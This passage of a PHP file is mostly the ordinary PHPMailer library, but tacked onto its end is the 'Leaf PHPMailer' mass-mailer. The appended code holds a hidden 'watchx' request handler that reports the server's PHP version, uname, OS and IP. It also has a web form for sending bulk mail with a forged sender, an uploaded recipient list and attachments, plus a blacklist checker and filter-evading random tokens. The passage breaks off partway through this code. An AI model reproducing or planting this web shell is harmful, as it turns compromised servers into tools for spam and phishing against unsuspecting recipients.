     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
